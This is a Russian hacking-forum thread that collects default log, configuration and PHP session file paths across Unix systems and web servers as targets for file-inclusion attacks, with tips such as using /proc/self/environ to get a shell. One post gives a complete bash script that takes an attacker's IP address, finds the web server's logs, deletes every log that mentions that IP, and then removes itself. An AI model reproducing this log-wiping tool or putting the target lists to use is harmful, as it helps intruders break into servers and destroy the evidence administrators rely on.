Default *log, *conf files locations

Discussion in 'Уязвимости' started by ettee, 24 Sep 2007.

  1. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Сори, хотел исправить пост, а нажал делит) Выкладываю еще раз.


    IRIX:

    Code:
    /var/adm/SYSLOG
    /var/adm/sulog
    /var/adm/utmp
    /var/adm/utmpx
    /var/adm/wtmp
    /var/adm/wtmpx
    /var/adm/lastlog/username
    /usr/spool/lp/log
    /var/adm/lp/lpd-errs
    /usr/lib/cron/log
    /var/adm/loginlog
    /var/adm/pacct
    /var/adm/dtmp
    /var/adm/acct/sum/loginlog
    /var/adm/X0msgs
    /var/adm/crash/vmcore
    /var/adm/crash/unix
    AIX:

    Code:
    /var/adm/pacct
    /var/adm/wtmp
    /var/adm/dtmp
    /var/adm/qacct
    /var/adm/sulog
    /var/adm/ras/errlog
    /var/adm/ras/bootlog
    /var/adm/cron/log
    /etc/utmp
    /etc/security/lastlog
    /etc/security/failedlogin
    /usr/spool/mqueue/syslog
    SunOS:

    Code:
    /var/adm/messages
    /var/adm/aculogs
    /var/adm/aculog
    /var/adm/sulog
    /var/adm/vold.log
    /var/adm/wtmp
    /var/adm/wtmpx
    /var/adm/utmp
    /var/adm/utmpx
    /var/adm/log/asppp.log
    /var/log/syslog
    /var/log/POPlog
    /var/log/authlog
    /var/adm/pacct
    /var/lp/logs/lpsched
    /var/lp/logs/lpNet
    /var/lp/logs/requests
    /var/cron/log
    /var/saf/_log
    /var/saf/port/log
    Linux:

    Code:
    /var/log/lastlog
    /var/log/telnetd
    /var/run/utmp
    /var/log/secure
    /root/.ksh_history
    /root/.bash_history
    /root/.bash_logut
    /var/log/wtmp
    /etc/wtmp
    /var/run/utmp
    /etc/utmp
    /var/log
    /var/adm
    /var/apache/log
    /var/apache/logs
    /usr/local/apache/log
    /usr/local/apache/logs
    /var/log/acct
    /var/log/xferlog
    /var/log/messages
    /var/log/proftpd/xferlog.legacy
    /var/log/proftpd.access_log
    /var/log/proftpd.xferlog
    /var/log/httpd/error_log
    /var/log/httpd/access_log
    /etc/httpd/logs/access_log
    /etc/httpd/logs/error_log
    /var/log/httpsd/ssl.access_log
    /var/log/httpsd/ssl_log
    /var/log/httpsd/ssl.access_log
    /etc/mail/access
    /var/log/qmail
    /var/log/smtpd
    /var/log/samba
    /var/log/samba-log.%m
    /var/lock/samba
    /root/.Xauthority
    /var/log/poplog
    /var/log/news.all
    /var/log/spooler
    /var/log/news
    /var/log/news/news
    /var/log/news/news.all
    /var/log/news/news.crit
    /var/log/news/news.err
    /var/log/news/news.notice
    /var/log/news/suck.err
    /var/log/news/suck.notice
    /var/spool/tmp
    /var/spool/errors
    /var/spool/logs
    /var/spool/locks
    /usr/local/www/logs/thttpd_log
    /var/log/thttpd_log
    /var/log/ncftpd/misclog.txt
    /var/log/ncftpd.errs
    /var/log/auth

    Red Hat, Mac OS X

    Code:
    /var/log/httpd/access_log
    /var/log/httpd/error_log
    Solaris
    Code:
    /var/apache/logs/access_log
    /var/apache/logs/error_log

    SuSE Linux Enterprise Server


    Code:
    /var/log/httpd/access_log
    /var/log/httpd/error_log
    Lampp

    Code:
    /opt/lampp/logs/error_log
    /opt/lampp/logs/access_log
    
    Debian

    Code:
    /var/log/apache/access.log
    /var/log/apache/error.log
    /var/log/apache-ssl/error.log
    /var/log/apache-ssl/access.log
    
    FreeBSD
    Code:
    /usr/local/etc/httpd/logs/access_log
    /usr/local/etc/httpd/logs/error_log
    OpenBSD

    Code:
    /var/www/log/access_log
    /var/www/log/error_log
     
    1. $n@ke

      $n@ke Elder - Старейшина

      Joined:
      18 Sep 2006
      Messages:
      696
      Likes Received:
      404
      Reputations:
      134
      5 копеек..
       
      1. [underwater]

        [underwater] Member

        Joined:
        29 Mar 2009
        Messages:
        78
        Likes Received:
        92
        Reputations:
        27
        Kак пишутся логины в систему

        Есть основные места, в которых сохраняется системная информация о логине:

        /usr/etc/wtmp
        /usr/etc/lastlog
        /etc/utmp


        utmp пишет инфу о том, кто в настоящее время использует систему.
        Файл - последовательность входов со следующей структурой, которая конфигурится в /usr/include/utmp.h

        Code:
        struct utmp {
        char ut_line[8]; /* tty name */
        char ut_name[8]; /* user id */
        char ut_host[16]; /* host name, if remote */
        long ut_time; /* time on */
        } 
        Эта структура пишет название терминалки юзера, юзер ID-ентификатор логиняшегося,имя хоста откель логинился, если не локально и время входа в систему. на многих платформах структура разная, но все равно легко достаточно читается.

        wtmp пишет все входа и выходы из системы. Пустое имя пользователя указывает выход из системы на связанном терминале.
        Кроме того, '~' указывает, что система была перезагружена в указанное время; вход с именами включающими'|'
        говорит, что система изменила время как раз перед логоном и с именами и '{' после того как был совершен логон (то есть ,
        команда даты изменила время системы.

        Wtmp обслуживается login(1) и init (8). Они свои события по идее не пишут никуда, так что если их отрубить, то и логи
        в wtmp писаться не будут. Wtmp используется вместе с командой/usr/ucb/last. Это понятно? Запросто проверить если
        служба не работает.

        /usr/adm/lastlog используется login(1) для того, чтобы сохранить предыдущие даты входа в систему, время, в которое они
        были, и с какого хоста подключались. Структура для lastlog такая:

        Code:
        struct lastlog {
        time_t ll_time;
        char ll_line[8];
        char ll_host[16];
        };
         
        1. Twoster

          Twoster Members of Antichat

          Joined:
          20 Aug 2008
          Messages:
          287
          Likes Received:
          402
          Reputations:
          159
          FreeBSD 7.1-RELEASE 2009 i386
           
          1. farpost

            farpost New Member

            Joined:
            16 May 2009
            Messages:
            20
            Likes Received:
            2
            Reputations:
            1
            архив в первом посте битый (auto_includer.zip (3.6 Кбайт, 146 просмотров)). Есть у кого нибудь?
             
            1. Pashkela

              Pashkela Динозавр

              Joined:
              10 Jan 2008
              Messages:
              2,750
              Likes Received:
              1,044
              Reputations:
              339
              Code:
              [B]/[/B]usr/local/etc/apache2/vhosts.conf
              [B]/[/B]usr/local/apache/conf/vhosts.conf
              [B]/[/B]usr/local/apache2/conf/vhosts.conf
              [B]/[/B]usr/local/apache/conf/vhosts-custom.conf
              [B]/[/B]usr/local/apache2/conf/vhosts-custom.conf
              
              прим. BlackSun: пути в данном случае должны начинаться со слешей, без них это относительные пути.

              там всегда полный и правильный Document Root + часто полный адрес ERROR логов

              Ну и моё любимое чото тут не наблюдал вроде:

              Code:
              /proc/self/environ
              
              если нашли такое - в 99% случаев сразу шелл

              прим. BlackSun: ты хоть ветку почитай полностью .. https://forum.antichat.ru/showpost.php?p=1088072&postcount=11
               
              1. Spyder

                Spyder Elder - Старейшина

                Joined:
                9 Oct 2006
                Messages:
                1,388
                Likes Received:
                1,209
                Reputations:
                475
                sess_ location
                /tmp/
                /php_sess/
                /tmp/phpsess/
                /tmp/php/
                /tmp/php-sess/
                /home/%username%/tmp/
                /var/phptemp/
                /var/phptmp/
                /var/phpsess/
                /var/php-sess/
                /var/lib/php/
                /var/lib/php/session/
                /var/lib/php3
                /var/lib/php3/session/
                /var/lib/php4/
                /var/lib/php4/session/
                /var/lib/php5/
                /var/lib/php5/session/
                /var/lib/php6/
                /var/lib/php6/session/
                /www/phpsession/
                C:\Temp
                C:\WINDOWS\Temp
                C:\PHP\sessiondata

                .htaccess
                php_value "session.save_path" "/path"

                phpinfo()
                session.save_handler files
                session.save_path /path

                Самый лучший вариант это поиск пшпинфо на сайте, т.к в нём вы увидим мастер валью, т.е то что прописано в php.ini и локал валью, то что прописано (если прописано) в .htaccess'e
                Второй вариант поиск пшп.ини и .htaccess'ов
                Ну и конечно можно просто искать саму папку с сессиями
                 
                1. Pashkela

                  Pashkela Динозавр

                  Joined:
                  10 Jan 2008
                  Messages:
                  2,750
                  Likes Received:
                  1,044
                  Reputations:
                  339
                  Только что так заюзал:
                  Code:
                  /etc/apache/default-server.conf
                  /etc/apache2/default-server.conf
                  
                  может содержать DocumentRoot
                   
                  1. [underwater]

                    [underwater] Member

                    Joined:
                    29 Mar 2009
                    Messages:
                    78
                    Likes Received:
                    92
                    Reputations:
                    27
                    Cкрипт, который находит и удаляет лог файлы
                    Code:
                    #!/usr/local/bin/bash
                    ### coded by t4z3v4r3d
                    ### recurse function : i m not sure who has write that .So thanks unknown man 
                    ### made for FreeBSD First ....
                    if [ "`id -u`" != "0" ];then
                    echo "$0 cant run as $USER Please Give me the root perms!!!!! "
                    exit 1
                    fi
                    patern=$2
                    fl=/tmp/f.txt
                    fd=/tmp/find.txt        
                    length=/tmp/l-f.txt
                    log_f=/tmp/log_f.txt
                    log_final=/tmp/final_log.txt
                    null=/dev/null
                    log_path=/tmp/log_Found_.txt
                    tm="`date | cut -d ":" -f 1`"
                    os=$OSTYPE
                    # you can add all paths for all os type !M$ windows IS NOT OS ....Exactly!
                    case $os in
                    Linux*) path=/etc/
                    ;;
                    linux*) path=/etc/
                    ;;
                    freebsd*) path=/usr/local/
                    ;;
                    *) path=/
                    ;;
                    esac
                    
                    
                    rm $fl
                    touch $fl
                    rm $fd
                    touch $fd
                    rm $log_f
                    touch $log_f
                    rm $log_final
                    touch $log_final
                    rm $log_path
                    touch $log_path
                    clear
                    
                    echo "Enter attacker IP"
                    read -e ip
                    
                    
                    if [ "`find $path -name apache >> $fl`" ];then
                            echo -e "\033[3;2f Main path Found ....\033[0;0m"
                    else
                            
                            if [ "`find $path -name apache2 >> $fl`" ];then
                                    echo "Founded Apache2 Config files"
                            fi
                    fi 
                    
                    recurse () {
                    for file in $(/bin/ls $1)
                    do fqfn=$1/$file
                    [[ -d $fqfn ]] && recurse $fqfn
                    [[ ${#file} -gt $len ]] && { len=${#file} name=$fqfn; }
                    [[ -f $fqfn ]] && recurse $fqfn
                    [[ ${#file} -gt $len ]] && { len=${#file} name=$fqfn; }
                    
                    #########################################################
                    if [ -f $1 ];then
                    let "f=f+1"
                            if [ "`ls $1 | grep -F .conf`" ];then
                            let "t=t+1"
                            cat $1 | grep -F .log | grep -v "#" | cut -d " " -f 2  >> $log_path
                            nom[$t]="`cat $1 | grep -F .log | grep -v "#" | wc -l`"
                            echo -e "reading $1\n `cat $1 | grep -F .log | grep -v "#"`" >> /tmp/r.txt
                            let "nt=nt+${nom[$t]}"
                            let "j=$nt+$t"
                            fi
                    fi
                    ################################################################################
                    ### MOnitoring all acts 
                    ################################################################################
                    echo -e "\033[3;1f\033[1;39m+\033[1;37m======================================\033[1;39m+\033[0;0m"
                    echo -e "\033[1;39m|\033[1;31m Scanned Files  :\033[4;25f \033[1;37m$f\033[1;39m\033[4;40f|\033[0;0m"
                    echo -e "\033[1;39m|\033[1;31m Path(s) found  :\033[5;25f \033[1;37m$l\033[1;39m\033[5;40f|\033[0;0m"
                    echo -e "\033[1;39m|\033[1;31m pattern found  :\033[6;25f \033[1;37m$t\033[1;39m\033[6;40f|\033[0;0m"
                    echo -e "\033[1;39m|\033[1;31m pattern total  :\033[7;25f \033[1;37m$j\033[1;39m\033[7;40f|\033[0;0m"
                    echo -e "\033[1;39m|\033[1;30m\033[8;2f Scanning `dirname ${1}`:::                         \033[1;39m\033[8;40f|\033[0;0m"
                    echo -e "\033[9;1f\033[1;39m+\033[1;37m======================================\033[1;39m+\033[0;0m"
                    ##############################################################################
                    done ; }
                    
                    reader(){
                    cat $fl | while read line ;do
                    if [ "`ls $line | grep .conf`" != "" ];then
                            recurse $line
                    fi
                    let "l=l+1"
                    done
                    }
                    
                    reader
                    
                    log_path_reader(){
                    cat $log_path | while read line ;do
                    if [ -f $line ];then
                            if [ "`cat $line | grep "$ip"`" != "" ];then
                                    echo -en "\033[1;30mFounded[\033[1;31m"`cat $line | grep -c "$ip"`"    \033[1;30m] $ip in      "
                                    echo -n "Removing $line"
                                    rm $line
                                    
                                    if [ ! -f $line ];then
                                            echo -e "\033[1;39m        ... Done !\033[0;0m"
                                    else
                                            echo -e "\033[1;31m        ...Failed!\033[1;0m"
                                    fi
                            
                            fi
                    else
                            echo -e "\033[1;30mFile [\033[1;31m"$line    "                   \033[1;39mFile Dose not exist......\033[1;30m]" 
                    fi
                    
                    let "l2=l2+1"
                    done
                    }
                    echo -e "\033[8;3f\033[1;31mpath= $path OS= $os\033[0;0m"
                    echo -e "\033[11;1f\033[1;30mScanning DONE!! NOW : Removing Log Files                                                   \033[0;0m"
                    
                    log_path_reader
                    
                    echo -en "\033[1;30mRemoving                                  $0   "
                    
                    rm $fl $log_path $0
                    
                     if [ ! -f  $0 ];then
                            echo -e "\033[1;39m        ... Done !\033[0;0m"
                     else
                            echo -e "\033[1;31m        ...Failed!\033[1;0m"
                     fi
                    echo -e "\033[1;37m Mail: [email protected]\033[0;0m"
                    
                     
                    1. 0ze

                      0ze Member

                      Joined:
                      6 Feb 2009
                      Messages:
                      9
                      Likes Received:
                      5
                      Reputations:
                      1
                      Пути логов по умолчанию у apache для разных ОС:
                      hxxp://wiki.apache.org/httpd/DistrosDefaultLayout
                       
                      1. [53x]Shadow

                        [53x]Shadow Leaders of Antichat

                        Joined:
                        25 Jan 2007
                        Messages:
                        284
                        Likes Received:
                        597
                        Reputations:
                        514
                        LiteSpeed Web Server

                        Zeus Web Server (ZWS)

                        default conf:
                        /usr/local/zeus/web/global.cfg

                        default log:
                        /usr/local/zeus/web/log/errors

                        LiteSpeed Web Server

                        default conf:
                        /opt/lsws/conf/httpd_conf.xml
                        /usr/local/lsws/conf/httpd_conf.xml

                        default log:
                        /opt/lsws/logs/error.log
                        /opt/lsws/logs/access.log
                        /usr/local/lsws/logs/error.log
                        /usr/local/logs/access.log
                         
                        1. Spyder

                          Spyder Elder - Старейшина

                          Joined:
                          9 Oct 2006
                          Messages:
                          1,388
                          Likes Received:
                          1,209
                          Reputations:
                          475
                          Зачастую демоны запускаются через init.d. Это существенно облегчает нам поиск логов и конфигов

                          init.d - mysql
                          /etc/init.d/mysql

                          init.d - apache
                          /etc/init.d/httpd
                          /etc/init.d/apache
                          /etc/init.d/apache2

                          Как примерно выглядит этот файл

                          Code:
                          #!/bin/sh
                          #
                          # Copyright (c) 1996, 1997, 1998 S.u.S.E. GmbH
                          # Copyright (c) 1998, 1999, 2000, 2001 SuSE GmbH
                          # Copyright (c) 2002, 2003 SuSE Linux AG
                          #
                          # Authors: Rolf Haberrecker <[email protected]>, 2001
                          #          Peter Poeml <[email protected]>, 2002, 2003, 2004, 2005
                          #
                          #
                          # /etc/init.d/apache2
                          #
                          ### BEGIN INIT INFO
                          # Provides:                     apache2 httpd2
                          # Required-Start:               $local_fs $remote_fs $network
                          # X-UnitedLinux-Should-Start:   $named $time postgresql sendmail mysql ypclient dhcp radiusd
                          # Required-Stop:                $local_fs $remote_fs $network
                          # X-UnitedLinux-Should-Stop:
                          # Default-Start:                3 5
                          # Default-Stop:                 0 1 2 6
                          # Short-Description:            Apache 2.2 httpd
                          # Description:                  Start the httpd daemon Apache
                          ### END INIT INFO
                          
                          pname=apache2
                          : ${sysconfdir:=/etc/$pname}
                          : ${apache_link:=/usr/sbin/httpd2}
                          : ${sysconfig_apache:=/etc/sysconfig/$pname}
                          : ${pidfile:=/var/run/httpd2.pid}
                          : ${logdir:=/var/log/$pname}
                          
                          #
                          # load the configuration
                          #
                          test -s /etc/rc.status && . /etc/rc.status && rc_reset
                          
                          . /usr/share/$pname/load_configuration
                          export ${!APACHE_*}
                          
                          httpd_conf=${APACHE_HTTPD_CONF:-$sysconfdir/httpd.conf}
                          
                          apache_bin=$(/usr/share/$pname/find_mpm 2>/dev/null)
                          
                          test -L $apache_link && apache_bin=$(readlink $apache_link)
                          
                          if [ -z "$APACHE_MPM" ]; then
                                  APACHE_MPM=${apache_bin##*-}
                          fi
                          
                          if ! [ -x $apache_bin ]; then
                                  echo >&2 ${warn}$apache_bin-$APACHE_MPM is not a valid httpd2 binary.
                                  echo >&2 Check your APACHE_MPM setting in /etc/sysconfig/$pname. $norm
                                  rc_failed 5
                                  rc_status -v1
                                  rc_exit
                          fi
                          
                          get_server_flags()
                          {
                                  unset server_flags
                                  case "$action" in startssl) server_flags="-DSSL";; esac
                                  for i in $APACHE_SERVER_FLAGS; do
                                          case $i in
                                          -D)     ;;
                                          -D*)    server_flags="$server_flags $i";;
                                          *)      server_flags="$server_flags -D$i";;
                                          esac
                                  done
                          }
                          
                          action="$1"
                          case "$action" in
                              stop|try-restart|*status*|probe)
                                  ;;
                              *)
                                  shift; get_server_flags
                                  ${get_module_list_done:=false} || /usr/share/$pname/get_module_list && export get_module_list_done=true
                                  ${get_includes:=false} || /usr/share/$pname/get_includes && export get_includes_done=true
                                  ;;
                          esac
                          
                          #
                          # main part
                          #
                          case "$action" in
                              start*)
                                  if [ -e $pidfile ]; then
                                          $0 status &>/dev/null
                                          ret=$?
                                          if [ $ret = 1 ]; then
                                                          echo "Warning: found stale pidfile (unclean shutdown?)"
                                          elif [ $ret = 0 ]; then
                                                          echo "Apache is already running ($pidfile)"
                                                          rc_failed $ret
                                                          rc_status -v1
                                                          rc_exit
                                          fi
                                  fi
                          
                                  echo -n "Starting httpd2 (${APACHE_MPM:-${apache_bin#*-}}) "
                                  cmdline=$(echo $apache_bin -f $httpd_conf $server_flags "$@")
                                  if eval $cmdline -t > $logdir/rc$pname.out 2>&1 ; then
                                          export -n ${!APACHE_*}
                                          eval startproc -f -t ${APACHE_START_TIMEOUT:-2} $cmdline
                                          ret=$?
                          
                                          if test -t 1 && stty -a 2>/dev/null | grep -q -- -echo\ ; then
                                                  # this means that apache was still waiting for a passphrase to be entered
                                                  stty echo 2>/dev/null
                                                  echo;echo
                                                  echo >&2 An SSL passphrase has not been entered within ${APACHE_START_TIMEOUT:-<not set>} seconds.
                                                  echo >&2 To increase this timeout, adjust APACHE_START_TIMEOUT in $sysconfig_apache .
                                                  # this surely means that apache won't start, despite it looked good to startproc
                                                  killall $apache_bin
                                                  echo >&2 "Trying to start the server without SSL (-D NOSSL)."
                                                  $0 start "$@" -D NOSSL
                                                  # rc_failed 1
                                                  # rc_status -v1
                                                  # rc_exit
                                          else
                                                  rc_failed $ret
                                                  rc_status -v
                                          fi
                                  else
                                          if [ "$link" = "$base" ] ; then
                                                  cat $logdir/rc$pname.out
                                                  echo >&2
                                                  echo >&2 The command line was:
                                                  echo >&2 $cmdline
                                                  echo >&2
                                          else
                                                  echo -e -n "\nsee $logdir/rc$pname.out for details\n";
                                          fi
                                          rc_failed 1
                                          rc_status -v1
                                  fi
                                  ;;
                              stop)
                                  echo -n "Shutting down httpd2 "
                                  if [ ! -f $pidfile -a -f $pidfile.rpmsave ]; then mv $pidfile.rpmsave $pidfile; fi
                                  if ! [ -f $pidfile ]; then
                                          echo -n "(not running)"
                                  else
                                          pid=$(<$pidfile)
                                          kill -TERM $pid 2>/dev/null
                                          case $? in
                                              1)  echo -n "(not running)";;
                                              0)  # wait until the processes are gone (the parent is the last one)
                                                  echo -n "(waiting for all children to terminate) "
                                                  for ((wait=0; wait<120; wait++)); do
                                                          if test -f $pidfile; then
                                                                  usleep 500000
                                                                  continue
                                                          fi
                                                          if ! test -f /proc/$pid/exe; then
                                                                  break
                                                          fi
                                                          if test "$(readlink /proc/$pid/exe 2>/dev/null)" = $apache_bin; then
                                                                  usleep 500000
                                                          else
                                                                  break
                                                          fi
                          
                                                  done
                                                  ;;
                                          esac
                                  fi
                          
                                  rc_status -v
                                  ;;
                              try-restart)
                                  ## Do a restart only if the service was active before.
                                  ## Note: try-restart is now part of LSB (as of 1.9).
                                  ## RH has a similar command named condrestart.
                                  $0 status
                                  if test $? = 0; then
                                          $0 restart
                                  else
                                          rc_reset        # Not running is not a failure.
                                  fi
                                  # Remember status and be quiet
                                  rc_status
                                  ;;
                              restart)
                                  $0 configtest "$@" || { rc_failed $?; rc_exit; }
                          
                                  if $0 status &>/dev/null; then
                                          $0 stop
                                  fi
                                  $0 start "$@"
                                  # Remember status and be quiet
                                  rc_status
                                  ;;
                              restart-hup)
                                  $0 configtest "$@" || { rc_failed $?; rc_exit; }
                          
                                  if $0 status &>/dev/null; then
                                          echo -n "Restarting httpd2 (SIGHUP)"
                                          kill -HUP $(<$pidfile) || return=$rc_failed
                                  else
                                          $0 start "$@"
                                  fi
                                  # Remember status and be quiet
                                  rc_status -v
                                  ;;
                              reload|force-reload|graceful)
                                  echo -n "Reload httpd2 (graceful restart)"
                                  cmdline=$(echo $apache_bin -f $httpd_conf $server_flags "$@")
                                  if eval $cmdline -t &> $logdir/rc$pname.out; then
                                          killproc -USR1 $apache_bin || return=$rc_failed
                                          rc_status -v
                                  else
                                          if [ "$link" = "$base" ] ; then
                                                  echo -e -n "\n\n"
                                                  cat $logdir/rc$pname.out
                                                  echo >&2
                                                  echo >&2 The command line was:
                                                  echo >&2 $cmdline
                                                  echo >&2
                                          else
                                                  echo -e -n "\nsee $logdir/rc$pname.out for details\n";
                                          fi
                                          rc_failed 6
                                          rc_status -v1
                                  fi
                                  ;;
                              status)
                                  if [ ! -f $pidfile -a -f $pidfile.rpmsave ]; then mv $pidfile.rpmsave $pidfile; fi
                                  echo -n "Checking for httpd2: "
                                  # we don't use checkproc here since it is confused when we exchange the binaries
                                  if ! [ -f $pidfile ]; then
                                          # not running
                                          rc_failed 3
                                  elif [ -s $pidfile -a -d /proc/$(<$pidfile) ]; then
                                          # running
                                          :
                                  else
                                          # stale pid file
                                          rc_failed 1
                                          #rm -f $pidfile
                                  fi
                                  rc_status -v
                                  ;;
                              probe)
                                  ## Optional: Probe for the necessity of a reload,
                                  ## give out the argument which is required for a reload.
                          
                                  for i in $httpd_conf \
                                    $APACHE_CONF_INCLUDE_FILES \
                                    $APACHE_CONF_INCLUDE_DIRS
                                  do
                                          if [ $i -nt $pidfile ]; then
                                                  echo reload
                                                  break
                                          fi
                                  done
                                  ;;
                          
                              conf*|test|syntax|check)
                                  cmdline=$(echo $apache_bin -f $httpd_conf $server_flags "$@")
                                  eval $cmdline -t
                                  rc_failed $?
                                  rc_exit
                                  ;;
                          
                              extr*)
                                  cmdline=$(echo $apache_bin -f $httpd_conf $server_flags "$@")
                                  out=$(su - nobody -c "$cmdline" 2>&1)
                                  case $out in
                                      *make_sock:\ could\ not\ bind\ to\ address*) echo Syntax: OK; rc_failed=0;;
                                      *) echo Syntax: NOT OK:; echo $out; rc_failed=1;;
                                  esac
                                  rc_exit
                                  ;;
                          
                              server-status)
                                  apache2ctl status
                                  ;;
                          
                              full-server-status|fullstatus)
                                  apache2ctl fullstatus
                                  ;;
                          
                              *)
                              cat >&2 <<-EOF
                                  Usage: $0 <command> <server flags>
                          
                                  where <command> is one of:
                                          start              - start httpd
                                          startssl           - start httpd with -DSSL
                                          stop               - stop httpd (sendign SIGTERM to parent)
                                          try-restart        - stop httpd and if this succeeds (i.e. if
                                                               it was running before), start it again.
                                          status             - check whether httpd is running
                                          restart            - stop httpd if running; start httpd
                                          reload|graceful    - do a graceful restart by sending a SIGUSR1 or
                                                               start if not running
                                          configtest         - do a configuration syntax test
                                          extreme-configtest - try to run httpd as nobody (detects more errors
                                                               by actually loading the configuration, but cannot
                                                               read SSL certificates)
                                          probe              - probe for the necessity of a reload, give
                                                               out the argument which is required for a reload.
                                                               (by comparing conf files with pidfile timestamp)
                                          full-server-status - dump a full status screen; requires lynx or w3m
                                                               and mod_status enabled
                                          server-status      - dump a short status screen; requires lynx or w3m
                                                               and mod_status enabled
                                          help               - this screen
                          
                                  optional server flags are passed through to httpd.
                          
                                  EOF
                              exit 1
                          esac
                          
                          
                          # Inform the caller not only verbosely and set an exit status.
                          rc_exit
                          
                          Смотрим
                          pname=apache2
                          : ${sysconfdir:=/etc/$pname}
                          ...
                          httpd_conf=${APACHE_HTTPD_CONF:-$sysconfdir/httpd.conf}


                          В данном случае конфиг находится в /etc/apache2/httpd.conf
                           
                          1. YuNi|[c

                            YuNi|[c Elder - Старейшина

                            Joined:
                            17 Sep 2006
                            Messages:
                            293
                            Likes Received:
                            33
                            Reputations:
                            18
                            может кто нит перезалит autoincluder
                            ссылка уже битая
                             
                            1. Harakternik

                              Harakternik Member

                              Joined:
                              21 Jan 2010
                              Messages:
                              8
                              Likes Received:
                              6
                              Reputations:
                              8
                              Обновите и перезалейте архив с путями по умолчанию, он битый!
                               
                              1. Pashkela

                                Pashkela Динозавр

                                Joined:
                                10 Jan 2008
                                Messages:
                                2,750
                                Likes Received:
                                1,044
                                Reputations:
                                339
                                Вот такой вот изврат сегодня во FreeBSD встретил:

                                Code:
                                /usr/local/etc/apache/httpd.conf
                                /usr/local/etc/apache/vhosts.conf
                                
                                 
                                1. Pashkela

                                  Pashkela Динозавр

                                  Joined:
                                  10 Jan 2008
                                  Messages:
                                  2,750
                                  Likes Received:
                                  1,044
                                  Reputations:
                                  339
                                  Ubuntu (стали часто встречаться):

                                  Code:
                                  /etc/apache2/sites-available/default
                                  /etc/apache2/sites-available/default-ssl
                                  /etc/apache2/apache2.conf
                                  /etc/apache2/httpd.conf
                                  /etc/apache2/ports.conf
                                  /etc/apache2/sites-enabled/000-default
                                  /etc/apache2/sites-enabled/default
                                  
                                   
                                  1. krypt3r

                                    krypt3r Elder - Старейшина

                                    Joined:
                                    27 Apr 2007
                                    Messages:
                                    1,507
                                    Likes Received:
                                    389
                                    Reputations:
                                    101
                                    В sites-enabled обычно лежат симлинки на соответствующие файлы в sites-available
                                     
                                    1. Pashkela

                                      Pashkela Динозавр

                                      Joined:
                                      10 Jan 2008
                                      Messages:
                                      2,750
                                      Likes Received:
                                      1,044
                                      Reputations:
                                      339
                                      NetBSD:
                                      Code:
                                      /usr/pkg/etc/httpd/httpd.conf
                                      /usr/pkg/etc/httpd/httpd-default.conf
                                      /usr/pkg/etc/httpd/httpd-vhosts.conf 
                                      
                                       
                                      1. rukavichki

                                        rukavichki New Member

                                        Joined:
                                        22 Apr 2010
                                        Messages:
                                        1
                                        Likes Received:
                                        0
                                        Reputations:
                                        0
                                        Перезалейти базу не открывается.
                                         
                                        1. Дирижабль

                                          Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

                                          Joined:
                                          6 Jan 2010
                                          Messages:
                                          369
                                          Likes Received:
                                          346
                                          Reputations:
                                          292
                                          rukavichki и остальные, у кого не открывается архив используем 7-Zip